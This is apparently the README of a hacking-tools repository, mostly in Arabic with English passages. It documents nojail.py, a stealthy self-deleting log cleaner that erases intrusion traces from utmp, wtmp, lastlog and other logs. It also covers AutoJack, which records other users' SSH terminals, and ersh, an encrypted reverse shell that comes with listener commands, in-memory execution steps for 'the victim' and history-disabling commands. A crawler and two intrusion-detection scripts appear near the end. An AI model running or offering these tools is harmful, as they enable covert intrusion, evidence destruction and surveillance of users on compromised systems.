
مجموعة من البرامج النصية التي قد تكون مفيدة أثناء أنشطتك في النضال من أجل الحرية.
يحتوي هذا المستودع على نصوص قد تكون مفيدة أثناء أنشطتك في النضال من أجل الحرية. سيتم تحديثه من حين لآخر، عندما أجد نفسي بحاجة إلى شيء لا يمكنني العثور عليه عبر الإنترنت. كل شيء هنا يتم توزيعه بموجب شروط رخصة GPL v3.
المساهمات وطلبات السحب (Pull Requests) مرحب بها للغاية.
أداة تنظيف سجلات تزيل الإدخالات المسيئة من:
/var/run/utmp، /var/log/wtmp، /var/log/btmp (تتحكم في مخرجات أوامر who، w و last)/var/log/lastlog (يتحكم في مخرجات الأمر lastlog)/var/**/*.log (.log.1، .log.2.gz، إلخ. متضمنة)يتم حذف الإدخالات بناءً على عنوان IP و/أو اسم المضيف المرتبط.
يتم اتخاذ عناية خاصة لتجنب كسر واصفات الملفات أثناء العبث بالسجلات. هذا يعني أن السجلات تستمر في الكتابة إليها بعد التلاعب بها، مما يجعل عملية التنظيف أقل وضوحًا بكثير. كل العمل يتم في محرك tmpfs ويتم مسح أي ملفات يتم إنشاؤها بأمان.
تحذير: تم اختبار النص فقط على لينكس ولن يكون قادرًا على تنظيف إدخالات UTMP على أنظمة يونكس الأخرى.
usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME] [--verbose] [--check] [log_files [log_files ...]]
Stealthy log file cleaner.
positional arguments: log_files Specify any log files to clean in addition to /var/**/*.log.
optional arguments: -h, --help show this help message and exit --user USER, -u USER The username to remove from the connexion logs. --ip IP, -i IP The IP address to remove from the logs. --hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS of the IP. --regexp REGEXP, -r REGEXP A regular expression to select log lines to delete (optional)
--verbose, -v Print debug messages.
--check, -c If present, the user will be asked to confirm each
deletion from the logs.
--daemonize, -d Start in the background and delete logs when the
current session terminates. Implies --self-delete.
--self-delete, -s Automatically delete the script after its execution.
بشكل افتراضي، إذا لم تُعطَ أي وسائط، سيحاول البرنامج النصي تحديد عنوان IP المراد تنظيفه استناداً إلى
`SSH_CONNECTION` متغير البيئة. كما ستتم إزالة أي إدخال يطابق DNS العكسي لذلك عنوان IP.
#### مثال أساسي:```
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check
...سيؤدي إلى إزالة جميع الإدخالات للمستخدم root حيث يكون عنوان IP هو 151.80.119.32 أو اسم المضيف هو manalyzer.org.
سيُطلب من المستخدم أيضًا التأكيد قبل حذف كل سجل بسبب خيار --check. أخيرًا، سيتم معالجة الملف
/etc/app/logs/access.log بالإضافة إلى جميع الملفات الافتراضية.
إذا تم إعطاء مجلدات كوسائط موضعية (مثل /etc/app/logs/)، فسيقوم البرنامج النصي بالزحف إليها بشكل متكرر وتنظيف
أي ملف بامتداد .log (بما في ذلك *.log.1, *.log.2.gz، إلخ).
قد ترغب أيضًا في إزالة أسطر عشوائية من ملف السجل. للقيام بذلك، استخدم خيار --regexp. على سبيل المثال،
سيبحث سطر الأوامر التالي عن جميع طلبات POST إلى ملفات PHP من عنوان IP المحدد:```
./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"
#### تحويل السكربت إلى خفي```
./nojail.py --daemonize
بافتراض أن هذا الأمر يُنفَّذ من اتصال SSH، فإنه سيحذف جميع السجلات المتعلقة بنشاط المستخدم الحالي مع عنوان IP واسم المضيف المُكتشَفين فور إغلاق الاتصال. سيقوم هذا البرنامج النصي لاحقًا بحذف نفسه تلقائيًا. يرجى مراعاة أنه لن تتاح لك أي فرصة لتلقي رسائل الخطأ من التطبيق. يُنصح بتجربة حذف السجلات مرة واحدة قبل إنشاء الخفي (daemon) للتأكد من صحة الوسائط التي حددتها. إذا كنت في شِل (shell) بدون TTY، فلن يتمكن البرنامج النصي من اكتشاف موعد انتهاء الجلسة. سيتم إعلامك بأن السجلات سيتم حذفها بعد 60 ثانية، وأنه يجب عليك تسجيل الخروج قبل ذلك (أو المخاطرة بإنشاء المزيد من الإدخالات بعد تشغيل البرنامج النصي).
root@proxy:~# ./nojail.py [ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com). [] 2 entries removed from /var/run/utmp! [] 4 entries removed from /var/log/wtmp! [ ] No entries to remove from /var/log/btmp. [] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net [] 4 lines removed from /var/log/nginx/error.log! [] 11 lines removed from /var/log/nginx/access.log! [] 4 lines removed from /var/log/auth.log!
### إخلاء مسؤولية
هذا السكريبت مقدّم دون أي ضمانات.
لا تلومني إذا لم يمحِ كل آثار شيءٍ لم يكن ينبغي لك فعله من الأساس.
## share.sh
سكريبت مشاركة ملفات محمول وآمن. أثناء الكفاح من أجل الحرية، عادةً لا يكون من الممكن نسخ الملفات عبر scp إلى
الأجهزة المخترقة. هناك حاجة إلى طرق بديلة لرفع الملفات، لكن معظم خدمات المشاركة إما مقيدة جدًا
أو لا توفر طريقة لاسترجاع الملفات بسهولة من سطر الأوامر. قد تمنع الاعتبارات الأمنية أيضًا
الأشخاص من رفع ملفات حساسة إلى مزودي الخدمات السحابية خوفًا من احتفاظهم بنسخة منها إلى الأبد.
يعتمد هذا السكريبت الصغير المحمول بلغة bash على [transfer.sh](https://transfer.sh) لحل هذه المشكلة. إنه...
* يقوم بتشفير الملفات قبل رفعها (تشفير متماثل AES-256-CBC).
* يستخدم تلقائياً `torify` إذا كان موجودًا على النظام لزيادة إخفاء الهوية.
الاعتماديات الوحيدة المطلوبة هي `openssl` وإما `curl` أو `wget`.
### الاستخدام```
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!
الوسائط الإضافية أثناء الرفع تسمح لك بالتحكم في الحد الأقصى لعدد التنزيلات المسموح بها للملف (-m)
وعدد الأيام التي سيحتفظ بها transfer.sh بالملف (-d). القيمة الافتراضية لكلا الخيارين هي 1.
تحذير: لا تستخدم مسافات في مفتاح التشفير، وإلا سيتم أخذ الكلمة الأولى فقط من عبارة المرور في الاعتبار.
هذا بسبب طريقة معالجة getopts للوسائط (على ما أعتقد). طلبات السحب مرحب بها إذا كان أي شخص مهتمًا بإصلاح هذا.
AutoJack هو سكربت قصير يستخدم shelljack الخاص بـ EmptyMonkey لتسجيل طرفية أي مستخدم يتصل عبر SSH. يراقب auth.log للاتصالات الناجحة، ويجد PID لعملية bash الخاصة بالمستخدم، ويترك الباقي لـshelljack.
Launch it in a screen, and wait until other users log-in. Their session will be
logged to /root/.local/sj.log.[user].[timestamp].
The script is not particularly stealthy (no attempt is made to hide the shelljack process) but it
will get the job done. Note that to avoid self-incrimination, the root user is not
targeted (this can be trivially commented out in the code).
ListURL is a multi-threaded website crawler which obtains a list of available pages from the target. This script is useful for bug-bounty hunters trying to establish the attack surface of a web application.
الاستخدام: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
[--external] [--subdomains] [-c COOKIE]
[--exclude-regexp EXCLUDE_REGEXP]
[--show-regexp SHOW_REGEXP] [--verbose]
قم بتعيين موقع ويب عن طريق الحصول على جميع عناوين URL الخاصة به بشكل متكرر.
الوسائط الاختيارية:
-h, --help أظهر رسالة المساعدة هذه واخرج.
--max-depth MAX_DEPTH, -m MAX_DEPTH
أقصى عمق للزحف (الافتراضي هو 3).
--threads THREADS, -t THREADS
عدد الخيوط المراد استخدامها (الافتراضي هو 10).
--url URL, -u URL الصفحة التي سيبدأ منها.
--external, -e اتبع الروابط الخارجية (الافتراضي هو خطأ).
--subdomains, -d قم بتضمين النطاقات الفرعية في النطاق (الافتراضي هو خطأ).
-c COOKIE, --cookie COOKIE
أضف ملفات تعريف الارتباط إلى الطلب. يمكن تحديده
عدة مرات. مثال: -c "user=admin".
--exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
تعبير عادي يطابق عناوين URL لتجاهلها. لا يحتاج
التعبير المعطى إلى مطابقة عنوان URL بأكمله، فقط جزءاً
منه.
--show-regexp SHOW_REGEXP, -s SHOW_REGEXP
تعبير عادي يقوم بتصفية النتائج المعروضة. يتم البحث
عن التعبير المعطى داخل النتائج، ولا يلزم أن
يطابق عنوان URL بأكمله. مثال: \.php$
--no-certificate-check, -n
يعطل التحقق من شهادات SSL.
--output-file OUTPUT_FILE, -o OUTPUT_FILE
الملف الذي يجب كتابة عناوين URL التي تم الحصول عليها فيه
--verbose, -v كن أكثر تفصيلاً. يمكن تحديده عدة مرات.```
Here is the sample output for a small website:
./listurl.py -u https://manalyzer.org [] بدأ الزحف على العمق 1. [] بدأ الزحف على العمق 2.... [] بدأ الزحف على العمق 3. [] العناوين المكتشفة: https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET) https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET) https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET) https://manalyzer.org/upload (POST) https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET) https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET) https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET) https://manalyzer.org/ (GET) https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET) https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET) https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET) https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET) https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET) https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET) https://manalyzer.org (GET) https://manalyzer.org/bounty (GET) https://manalyzer.org/search (POST)```
The --exclude-regexp and --show-regexp options are used to control which
URLs should be shown or ignored. For instance, in the example above, you may want
to ignore pages which are likely to be very similar:
./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
[*] بدأ الزحف في العمق 1.
[*] بدأ الزحف في العمق 2...
[*] بدأ الزحف في العمق 3.
[*] عناوين URL المكتشفة:
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/search (POST)
https://manalyzer.org/ (GET)```
Note that the matching URLs will *not* be crawled. This is particularly useful
when the script gets lost in deep comment pages or repetitive content. Alternately,
you may only be interested in PHP scripts: ``./listurl.py --show-regexp "\.php$"``.
### Crawl parameters
By default, the crawler only goes 3 levels deep. This is something you can control
with the ``--max-depth`` option.
Another consideration is whether URLs pointing to external domains should be followed.
By default, the script doesn't, but you can enable this by setting the ``--external``
switch. If you're not interested in random external domains but still want to extend
the crawl to subdomains, you can set the ``--subdomains`` switch:
./listurl.py -u https://google.com --subdomains [] بدأ الزحف في العمق 1. [] بدأ الزحف في العمق 2.^C تم اكتشاف المقاطعة! يرجى الانتظار لبضع ثوانٍ حتى يتم إيقاف الخيوط... [*] العناوين المكتشفة: https://drive.google.com/drive/ (GET) https://google.com/../../policies/privacy/example/phone-number.html (GET) https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET) https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET) https://mail.google.com/mail/?tab=Tm (GET) https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET) https://google.com/locations/ (GET) [...]```
Notice that if the script takes too long, you can hit CTRL+C anytime to shut it down. You'll then be shown the pages discovered so far.
If you need to access authenticated pages on a website, you can provide
cookies to listurl.py from the command line with the --cookie option.
Finally, if you're working on a website which has an invalid or self-signed SSL
certificate, use the --no-certificate-check option to ignore SSL errors.
ersh is an encrypted reverse shell written in pure Python. Ever been on a
صندوق بدون أدوات قياسية أو أدوات ترجمة، ولا وسيلة سهلة لتحميل الملفات الثنائية؟ هل تخشى من أن نظام كشف التسلل (IDS) سيلاحظ وجود شل خارجي؟ هل أغلقت مستمع netcat عن طريق الخطأ لأنك ضغطت على ^C؟
لا تعاني بعد الآن.ersh offers the following features:
For a more detailed discussion about how this tool came to be, please refer to this blog post.
This script needs to be edited before it works! Look for this marker near the beginning:
###############################################################################
# قم بتعديل المعايير أدناه هذا السطر
###############################################################################```
The ```HOST``` and ```PORT``` are self-explanatory, but you may need additional help
for the SSL certificates. Nobody wants to fight against OpenSSL's client however, so
you can just use the following one-liners:
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt```
That's it! You should now have five new files in your current folder: server.(crt|key|pem)
and client.(crt|key). Some of them need to be inserted in the script so
the reverse shell and the listener can authenticate each other. Specifically:
client_key should contain the contents of client.key.client_crt should contain the contents of client.crt.server_crt should contain the contents of server.crt.That's it, no more editing required.
Considering that a full TLS negociation is going to proceed, a traditional nc listener
will not suffice here. socat has been chosen for this task, due to its ability to
handle encryption and TTYs. On Debian-based distributions, you should be able to obtain
it by simply running sudo apt-get install socat.
Assuming you're still in the folder where you generated the keys and certificates, and you want to listen on port 443, here is the command line you should run on the machine where the reverse shell will arrive:
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0```
### Running from memory
You don't need to copy the script to the remote machine for it to work. Here is a simple way to run it
from a non-interactive shell. Copy the whole script to your clipboard and run the following commands on
the victim:
python - <<'EOF' [paste script contents here] 'EOF'```
If you're trying to launch ersh.py from an environment which doesn't support multiple lines (such
as Weevely), you can also try generating a one-liner like this:
root@attacker:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]
weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python```
### Sample output
On the receiver machine:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:tty,raw,echo=0```
On the victim:
root@victim:~# python ersh.py
[*] تم إنشاء الاتصال!
root@victim:~#```
And on the receiver again:
root@attacker:/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:# unset HISTFILE
root@victim:~#```tty,raw,echo=0
root@victim:
This script was written to detect evil maid attacks. It does so by checking at boot time if the hard drive was powered on but not the OS (for instance, if it was taken out of the computer for a copy, or if someone tried to boot the machine but was stopped by a FDE password).
You need to make sure this script will run at every boot. The following instructions will work on distributions using systemd.
/etc/systemd/system/. Fix paths inside of it as needed.
The script will run as root so make sure it is not world writable!#> systemctl enable boot_check.serviceInstall dependencies:
#> apt install smartmontools dialogRun the script once so it initializes:
#> ./boot_check.pyIf a confirmation message appears, you're good to go.
If you want to make sure that the script works, make sure you do the following:
This script was created to provide a simple way to "booby-trap" certain
executables on a linux system. The idea is to detect intruders when they use
certain binaries (id, whoami, gcc) on a server they don't own.
To protect those binaries, notify_hook.py create symbolic links to this
script higher-up in the PATH. notify_hook will then send you an alert
and call the intended program in a transparent fashion. For instance, if
you want to "protect" id, just create the following symlink on your machine:
ln -s path/to/notify_hook.py /usr/local/bin/id```
...and all future calls to `id` should be routed through this script. This
is obviously not a foolproof way to detect hackers on your systems, but it
should nonetheless catch the most careless intruders.
### Customization
Some programs and scripts on your system may regularly invoke some of the
binaries you wish to protect. In that case, you can edit a variable called
`CALLER_WHITELIST` placed at the beginning of the script. Put the name of
those processes in the list to disable alerts from them (regular expressions
are accepted).
The current notification method implemented in this script is a text message
sent thtough Signal with AsamK's
[signal-cli](https://github.com/AsamK/signal-cli). You'll need to install this
project separately if you want to use it, or, more likely, replace the
`notify_callback` function placed on top of `notify_hook.py` with whatever
suits your needs.
### Contact
[](https://github.com/justicerage/freedomfighting/blob/master/justicerage%40manalyzer%5B.%5Dorg)
[](https://twitter.com/JusticeRage)
[](https://pgp.mit.edu/pks/lookup?op=vindex&search=0x40E9F0A8F5EA8754)